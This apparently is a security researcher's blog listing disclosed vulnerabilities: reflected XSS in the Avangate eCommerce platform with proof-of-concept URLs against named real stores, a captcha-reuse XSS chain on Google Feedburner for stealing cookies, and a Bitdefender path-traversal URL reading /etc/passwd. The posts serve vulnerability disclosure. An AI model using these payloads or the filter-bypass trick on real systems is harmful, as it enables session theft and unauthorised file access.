Showing posts with label vulnerability. Show all posts
Showing posts with label vulnerability. Show all posts
Friday, August 28, 2015
Thursday, April 16, 2015
Avangate eCommerce Platform - XSS Vulnerabilities
- Description:
- What is XSS(Cross-Site-Scripting) vulnerability ?
- How can these flaws affect all websites that use Avangate eCommerce solution ?
- Proof of Concept(s): [1] Link: http[s]://subdomain.host.com/redirect.php?url=';alert(1);//
- https://secure.avangate.com/redirect.php?url=';alert(1);//
- https://store.bitdefender.com/redirect.php?url=';alert(1);//
- https://store.iobit.com/redirect.php?url=';alert(1);//
- https://store.kaspersky.ro/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
- https://secure2.iolo.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
- https://shop.metaio.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
- https://secure.avangate.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
- https://shop.metaio.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
- https://store.kaspersky.ro/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Avangate eCommerce Platform suffer from Reflected-XSS(Cross-Site-Scripting) vulnerabilities which can be easily exploited and could allow an attacker to threaten users safety .
Reflected cross-site-scripting vulnerabilities arise when user-input is sent to the webserver in the context of a request and is echoed back into in application’s immediate response in an unsafe way, without being escaped correctly. An XSS attack allows an attacker to insert arbitrary html/javascript content in web pages.
The malicious payload inserted in page can access any cookies, session tokens or other sensitive information retained by victim’s browser and used within that website. It can also rewrite the content of the HTML page and lead to phishing attacks.
Every company that use Avangate platform has to create a separated subdomain (example: SHOP. COMPANY.COM) that must point to a *.avangate.com domain. As the scripts are the same for every website and just subdomain name is different , a vulnerability in the platform will affect all websites that use this product.
(*) Even if this subdomain is used only for online shopping and no loginforms or user sensitive information exists within that website , most of the time web developers prefer to extend cookies validity for all subdomains to gain flexibility. So a session cookie(like “PHPSESSID”) available for host.com could become also valid for shop.host.com (which points to Avangate platform).
Vulnerable parameter: url
Description: redirect.php script will take GET url parameter’s value and will add it in the context of the page without encoding it properly.
PoC:
Example of vulnerable websites:
Request:
GET /redirect.php?url=';alert(1);//
Host: store.bitdefender.com
...
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 15:25:28 GMT
Content-Type: text/html
Content-Length: 65
<script>
document.location.href='http://';alert(1);//';
</script>
[2] Link: http[s]://subdomain.host.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
Vulnerable parameters: merchant , template
Description: index.php script will take GET merchant, template parameters and will add their values in the context of the page without encoding it properly.
PoC:
Example of vulnerable websites:
Request:
GET /partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
Host: store.kaspersky.ro
...
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 17:33:14 GMT
Content-Type: text/html
Content-Length: 7821
...
<input type="hidden" name="merchant" value=""><script>alert(1)</script>"/>
<input type="hidden" name="template" value=""><script>alert(2)</script>"/>
[3] Link: https://subdomain.host.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Vulnerable parameters: SHOPURL
Description:checkout.php script will take GET SHOPURL parameter and will append its value in a href attribute of an a tag. The script will try to prevent the xss attack by removing javascript keyword from the response, but only the first occurrence of this word will be deleted so this filter can be easily bypassed.
PoC:
Example of vulnerable websites:
Request:
GET /order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Host: store.kaspersky.ro
...
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 17:33:14 GMT
Content-Type: text/html
Content-Length: 7821
...
<a href="javascript:alert(1)">Back to shopping</a>
Sunday, September 14, 2014
Google Feedburner - Reflected XSS
The base URL for this vulnerability will be : http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test
If you open the link above in browser you can see that the basic form which allows you to email a "Flare" to a random e-mail address.
So, if you complete that form with random data but with the right captcha value you will be redirected to the next page which will contain my inserted payload. But, let's see first what request is made after you hit "Send Message" button :
Now, change the refferer parameter value with this payload: javascript:alert(1) . In the next page that will open, click on Return to the original web site text and you will notice that my alert() function was executed:
So, at this time, my flaw is just a self-xss because of that Captcha value which exists in every request. But, after some researching I found out that after every request for this page: http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test , a new Captcha request is made: http://feedburner.google.com/fb/a/captcha?ct=RANDOM_DATA which will contain the captcha solution for the current form. That captcha value won't expire until someone will complete a form using that value:
So, let's assume that user A (tst22121996@gmail.com) wants to steal user's B (dekeeu@gmail.com) cookies. First, he will open this page in browser: http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test , will intercept the traffic and using the Captcha request which will be made, will note the solution value for his Captcha and the value of ct parameter without submitting the form .
After that , he will make a new html page, completing token and captcha fields from the form below with the new obtained values:
Now, he saves all as a .html page and sends it to his victim, user B. When he will open that page and will click on "Return to the original web site" text, the alert() will pop-up.
This bug was validated , fixed and rewarded by Google Security Team.
Thanks !
Tuesday, October 29, 2013
Bitdefender Security Breakdown - LFI/OAuth/XSS vulnerabilities
5:21 PM
Posted by Alexandru Coltuneac (dekeeu)
bitdefender, lfi, local file inclusion, oauth, poc, vulnerability, xss
No comments
Summary
Vulnerability Details
- LFI (Local File Inclusion)
-
The vulnerable script was located here :
http://www.bitdefender.com/downloadFile.php?language=in&fileName=pok.txt&filePath=../../../../../../etc/passwd
Usually this script was used to download files from the web server but due an improper validation, filePath parameter allowed an attacker to download and read any file from the target server.
- OAuth Bug
-
This vulnerabiliy was caused by an unvalidated url redirect and allowed me to steal users access token.
- XSS (Cross-Site-Scripting)
-
And a xss vulnerability in one of Bitdefender subdomains.
Thanks,
@dekeeu












